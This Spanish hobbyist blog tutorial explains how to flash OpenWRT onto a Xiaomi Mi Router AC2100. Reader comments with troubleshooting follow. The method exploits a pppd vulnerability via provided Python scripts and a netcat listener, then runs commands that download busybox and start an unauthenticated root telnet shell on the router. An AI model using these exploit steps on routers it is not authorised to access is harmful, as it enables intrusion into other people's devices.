Tutorial: Cambio de Firmware del Xiaomi Mi Router AC2100 a OpenWRT

Domótica Tutoriales Xiaomi

Tal y como prometí en la review, os traigo el vídeo del cambio de firmware del Mi Router AC2100 a OpenWRT para sacar el router del ecosistema de Xiaomi y abrir las puertas a una configuración mucho más avanzada.

NOTA: Antes de seguir, después del cambio, he notado mejoría a nivel de gestión de la red local por cable, ya que ahora el test si que da los 500 MB simétricos, pero, en cuanto a la WiFi, no he podido levantar todavía la de 5 Ghz.

En mi caso no era un problema mayor ya que iba a usar la WiFi del AX3600, y, además, no veo que la gente se queje de ese problema, por lo que puede ser algo aislado lo que me ha pasado a mi, pero, advertidos estáis. Además, he leído que ha habido gente que le pone los drivers propietarios en OpenWRT y mejora el rendimiento mucho más. Supongo que acabará habiendo una versión con los drivers ya incluidos.

Tutorial para cambiar el firmware al Xiaomi Mi Router AC2100 a OpenWRT

Para que os resulte más sencillo de seguir el vídeo, os pongo aquí los comandos de la guía para lo podáis seguir copiando y pegando.

Instalación de lo necesario

Como digo en la guía, es necesario instalar Python3 y netcat para poder funcionar y, posteriormente pip haciendo uso del gestor de paquetes de vuestra distribución. Una vez que tengáis eso (podréis hacerlo con vuestra distribución de Linux sin problemas) podréis instalar scapy con:

pip3 install scapy

Ahora nos descargaremos el repositorio de la guía, ya sea con el zip o con el siguiente comando:

git clone https://github.com/impulse/ac2100-openwrt-guide.git

Ahora, comprobamos si los binarios están correctos:

sha256sum *bin

La salida debería ser algo así:

9242477eaa7df12e00d369d5132b754b76af7dc8e7f4cd9e1c1483aba824ebbe xiaomi-router-kernel1.bin
141d6af6ae3b41c44fe8fe3728638acf1b286e5f204cd16381593c10f2cdd94c xiaomi-router-rootfs0.bin
e53c69e2443154feb80320ebc1c58c10e08076f132291f01d9d7f5160c0aed6c xiaomi-router-sysupgrade.bin

Ahora nos toca reiniciar el router. Para ello, lo encendemos, esperamos que se ponga azul la luz y pulsamos el botón reset hasta que se ponga amarillo (o naranja). Una vez hecho eso, le quitamos la alimentación. Cuando tengamos el router sin alimentación, ponemos los cables de red como se ven a continuación:

puentes de los cables del router ac2100

El siguiente paso sería configurar nuestra tarjeta de red para tener los siguientes datos en lugar de automático, pasamos a manual y ponemos:

IP: 192.168.31.177
Máscara de red: 255.255.255.0
Puerta de enlace: 192.168.31.1

Aceptamos los cambios y conectamos el router de nuevo a la corriente y, cuando la luz esté azul, hacemos ping para ver si llegamos al router con:

ping 192.168.31.1

ping router

Si la salida nos retorna con los milisegundos (ms) que tarda, es que podemos seguir. Ahora nos tocaría ver donde tenemos conectado nuestro router en nuestro pc, para ello, lanzamos el comando:

ifconfig

Ahora debemos fijarnos en el que lleva la configuración de nuestra ip 192.168.31.177:

salida ifconfig

Y copiaríamos el nombre, que, en mi caso es enp7s0. Tendremos que editar tanto el script ppd-cve.py como el pppoe-simulator.py para poder poner ese dispositivo en donde pone “interface”, lo pondremos sustituyendo el “en7” dejando las comillas (está al principio de los scripts). Otro cambio importante es mirar la MAC de vuestro router y coger los 6 primeros caracteres, en mi caso, tuve que cambiar de:

if src.startswith("88:c3:97") or src.startswith("8c:53:c3") :

a:

if src.startswith("50:d2:f5") or src.startswith("8c:53:c3") :

Sin este cambio, el xploit para poder saltarnos la seguridad del router, no pude hacerlo funcionar.

Ahora nos vamos al navegador y abrimos la ip 192.168.31.1 para ver esto:

Pantalla de inicio del Xiaomi Mi Router AC2100

Pulsamos en el botón azul si no te sale lo que te marco aquí:

botón a pulsar en mi router ac2100 antes del cambio

Comienza el ataque

Ahora nos toca aprovecharnos de un fallo de seguridad que tiene el Mi Router AC2100 par poder entrar al router y lanzar un servidor Telnet para poder flashear desde dentro. Abriremos un terminal de consola con varias pestañas y todas ellas nos iremos al directorio donde tenemos lo que hemos bajado del repositorio. En la primera, lanza:

sudo python3 pppoe-simulator.py

Ahora, en la pantalla del navegador, pulsamos en donde pone PPPOE y nos pedirá un usuario y contraseña, ponemos 123 en ambos campos y pulsamos el botón azul de abajo. Si miramos la pestaña donde hemos lanzado el script anterior, debería salir texto como que ha tenido actividad. Ahora, se quedará como en una pantalla de login y lo dejaremos minimizado.

Nos vamos a otra pestaña y lanzamos:

sudo python3 -m http.server 80

Y en otra pestaña lanzamos

sudo netcat -nvlp 31337

Ahora tenemos un servidor web en una y la aplicación netcat en otra, ambos escuchando posibles paquetes que lleguen, por último, en otra pestaña lanzaremos el comando:

sudo python3 pppd-cve.py

al poco, veremos que se ha lanzado un paquete y si miramos en netcat hay una conexión nueva desde el router. En esta ventana (la de netcat) es donde tenemos que lanzar una serie de comandos. Ojo, la conexión se podría cerrar por lo que habría que volver a repetir los pasos desde “sudo python3 -m http.server 80”. Los comandos a lanzar son:

cd /tmp
wget http://192.168.31.177/busybox
chmod a+x ./busybox
./busybox telnetd -l /bin/sh

Si has podido lanzarlos todos, ahora debe ser posible hacer telnet contra el router, para ello, hacemos:

telnet 192.168.31.1

Y, si nos devuelve una consola como esta:

telnet al xiaomi mi router ac2100 para flashear openwrt

Ya estaremos dentro del router y podemos descargarnos los firmware y flashearlos, para ello:

wget http://192.168.31.177/xiaomi-router-rootfs0.bin
wget http://192.168.31.177/xiaomi-router-kernel1.bin&&nvram set uart_en=1&&nvram set bootdelay=5&&nvram set flag_try_sys1_failed=1&&nvram commit

Si no ha dado problemas en la descarga, podréis pasar al último paso que es el flasheo:

Primero:
mtd write xiaomi-router-kernel1.bin kernel1

Después:
mtd -r write xiaomi-router-rootfs0.bin rootfs0

Ahora tendríamos nuestro Mi Router AC2100 con OpenWRT, y se debe reiniciar. Una vez que se ponga azul la luz de nuevo, podremos probarlo. Para poder probarlo con normalidad, tendremos que volver a dejar nuestra tarjeta de red con la configuración de antes (lo normal es que sea automática), quitar los cables que hemos puenteado y conectar a internet el router.

OpenWRT en el Xiaomi Mi Router AC2100

Por cierto, el usuario por defecto (cambialo en la primera entrada es usuario root y contraseña password)

Como he dicho al principio, la WiFi en 2.4Ghz funciona bien, pero, la de 5Ghz no he sido capaz de hacerla funcionar, esto será cosa de días/semanas que todo vaya a la perfección, por lo que si veis que no está actualizado el tutorial y que ya va todo bien, podéis decirlo para que actualice el tutorial.

ACTUALIZACIÓN: Con la última versión, la WiFi en 5Ghz me funciona sin problemas y con un rendimiento bastante bueno, llegando en el móvil a mas de 200MB/s.

Configuración del router Xiaomi para quitar el router del operador

Como muchos han preguntado en el grupo de Telegram para poder cambiar el router del operador, si tenéis un router y el ONT por separado (como es mi caso) os explico como lo he podido configurar:

  • Como tengo Orange la VLAN es la 832 (si fuera NEBA sería la 20) nos vamos a Network > Switch y tendremos 2 VLANs creadas, le damos a añadir una nueva y en VLAN ID ponemos 832 (o la que corresponda). La primera columna y la última (WAN) estarán puestas a Tagged. Le damos a Save & Apply.

Configuración OpenWRT

  • Nos vamos a Network > Interfaces y le damos a Añadir uno nuevo. En nombre podemos usar DHCP y elegimos DHCP Client y, como interfaz elegimos la VLAN creada

Configuración OpenWRT

  • Ahora editamos la WAN y ponemos como protocolo PPPoE y en usuario y contraseña ponemos (usuario: orangeuser@orangeadsl  y contraseña: orangeuser123) y, en Physical Settings elegimos la VLAN que hemos creado).  Le damos a Save
  • Ahora editamos WAN6, elegimos DHCP client y en Physical Settings ponemos la VLAN que hemos creado.

Ahora podemos Salvar y aplicar y en Status debería salir la IP de nuestro router. Ojo, si tenéis teléfono y tele, es necesario crear otras subredes en otros operadores, os comento mi caso que se que funciona. Si alguno lo configura para televisión y teléfono y quiere compartir la info, la publico para que le sirva a más gente en este tutorial del Mi Router AC2100.

Guía que he seguido aquí. Para la configuración de la fibra, lo he sacado de aquí.

Binarios para poder actualizar cuando haya nueva versión aquí (Yo uso la versión estándar y se flashea por la web la sysupgrade)

Compra: Banggood

¿Quieres montarte tu propio sistema Smart Home?

¿Te gustaría empezar poco a poco teniendo Google Home, Alexa o Home Assistant para controlar las luces, calefacción y otros electrodomésticos de la casa? ¡Te ayudamos! Entra en nuestro Grupo de Telégram de Domótica y también puedes entrar a nuestro Foro de Domótica donde podrás empezar a leer y preguntar tus dudas. Además, si quieres estar al tanto de las ofertas de domótica que salen a diario para poder hacerte un sistema de domótica low cost, entra a nuestro Canal de ofertas de domótica y no te perderás ni una o si lo prefieres y no tienes Telegram, puedes entrar a nuestra página de ofertas de domótica o Smart Home en Facebook. ¡Síguenos también en nuestro Facebook, Twitter o Instagram! ¡Te esperamos!

29 Comentarios

  1. Francisco Javier Terrada Henr

    Buenas.

    Tengo instalado este mismo router como secundario emitiendo wifi y el router de la compañía con el wifi desactivado.
    Pero desde hace unas semanas la señal de 2,4Ghz se me desactiva/activa continuamente mientras que la de 5 va bien.
    No se si te ha pasado este problema o sabes algo de ello.

    Un Saludo.

    Reply
    • eduardo

      Pero con el firmware de Xiaomi u OpenWRT?

      Reply
      • Francisco Javier Terrada Henry

        Con el firmware de Xiaomi, yo aun no he tocado nada del router, tal como vino de fabrica.

        Reply
  2. Javier

    Hola al lanzar esto “sudo python3 pppoe-simulator.py” me da el siguiente error:

    Waiting for packets
    Traceback (most recent call last):
    File “pppoe-simulator.py”, line 183, in
    sniff(prn=packet_callback, filter=”pppoed or pppoes”, lfilter=isNotOutgoing)
    File “/home/jsaez86/.local/lib/python3.6/site-packages/scapy/sendrecv.py”, line 972, in sniff
    sniffer._run(*args, **kwargs)
    File “/home/jsaez86/.local/lib/python3.6/site-packages/scapy/sendrecv.py”, line 842, in _run
    *arg, **karg)] = iface
    File “/home/jsaez86/.local/lib/python3.6/site-packages/scapy/arch/linux.py”, line 467, in __init__
    self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501
    File “/usr/lib/python3.6/socket.py”, line 144, in __init__
    _socket.socket.__init__(self, family, type, proto, fileno)
    OSError: [Errno 97] Address family not supported by protocol

    y ya no puedo seguir a ver si me podeis echar una mano.

    Muchas gracias.

    Reply
    • eduardo

      Que distribución tienes? Has mirado si tienes activado el firewall?

      Reply
      • Javier

        uso ubuntu en windows 10, no se a que te refieres con el firmware activado

        Reply
        • jose

          Hola. Te funcionó haciendo correo abuntu en windows?
          Solo trabajo con Windows y tendría que montarme ubuntu.

          Saludos.

          Reply
          • eduardo

            Mientras la máquina virtual llegue a la IP del router, si que te funcionará

  3. Javier Saez - Bravo Garcia del Pino

    Ubuntu en Windows 10, no se a qué te refieres con activado el firmware… no piloto mucho de esto

    Reply
    • eduardo

      Estoy tonto, quería decir Firewall xDDD. Mira con el comando “sudo ufw status” si te dice que está active, si lo está, lanza el comando “sudo ufw disable
      ” y prueba de nuevo

      Reply
  4. Javier

    También me he fijado que cuando le pongo ifconfig para ver cuál es la interface dónde he configurado la ip, que en mi caso es eth0, en paquetes enviados y recibidos pone 0 y en tu tutorial si veo que aparecen paquetes… no se si tendrá algo que ver

    Reply
  5. José

    Hola! Como te ha funcionado? Mi router viene en camino y estoy ansioso para poder meterle OpenWRT
    Alguna otra consideración?
    Saludos y gracias por el tutorial!

    Reply
  6. Ruben

    Hola.
    Yo tengo instalado Openwrt en el mío y hoy, tras leer en este artículo que se podía actualizar fácilmente a través de la propia GUI del router, me he animado a ello.
    Tras actualizarlo con el fichero standard_xiaomi_router-ac2100_OpenWRT_19_07_3.zip, en el router quedó encendida únicamente la luz de SYSTEM en color naranja, y no disponía de conexión a internet. Tras esperar varios minutos para ver si se recuperaba, finalmente lo he reiniciado pero el resultado era el mismo.
    Total, que ahora mismo tengo un pisapapeles cilíndrico.
    ¿Alguna idea para recuperarlo?
    Un saludo.

    Reply
    • eduardo

      Has probado a mantener pulsado durante 30 segundos o así el reset?

      Reply
      • Ruben

        Al mantenerlo pulsado unos 10 segundos empieza a parpadear dicha luz naranja de system, pero no he sido capaz de llegar más lejos de eso.

        Reply
  7. Jose

    Hola. Has cambiado los archivos de la guía? Es que no me coinciden con los de los binarios que pusiste en el tutorial. Esto al comprobarlo con checksum.

    Saludos

    Reply
    • eduardo

      No he tocado ningún fichero….que raro

      Reply
  8. Miguel

    Hola, al día de hoy recomiendas hacer este procedimiento? pierdes alguna funcionalidad original del router? Gracias

    Reply
    • eduardo

      Pierdes toda la parte del cloud y la gestión más sencilla con la App, pero ganas poder configurar todo de forma más completa y flexible. Ya depende de tus necesidades

      Reply
      • Miguel

        Gracias por tu respuesta. Al inicio del tutorial hay una nota que indica que no le ha sido posible levantar la señal de 5ghz, ésto aún es así?

        Reply
        • eduardo

          No, ya funcionaban los 5Ghz con la última versión que le puse. Ahora pasé al AX3600 y lo tengo puesto y muy muy contento

          Reply
  9. Miguel

    En unas horas me llega mi ac2100 y me pican las manos por flashear openwrt. Hay forma de poder flashear el firmware original en caso de fallo?

    Reply
  10. Miguel

    Luego de clonar con git hago la revision de los binarios pero solo me coincide la primera cadena de caracteres con lo que tienes aqui publicado, me da miedo seguir el procedimiento y que me salga algo corrupto

    Reply
  11. Miguel Angel

    Hola, al lanzar este comando:
    sudo python3 pppoe-simulator.py

    Me arroja este error:
    Traceback (most recent call last):
    File “pppoe-simulator.py”, line 1, in
    from scapy.all import *
    ModuleNotFoundError: No module named ‘scapy’

    Reply

Contestar

Tu e-mail no será publicadoRequired fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

Lost Password

Registro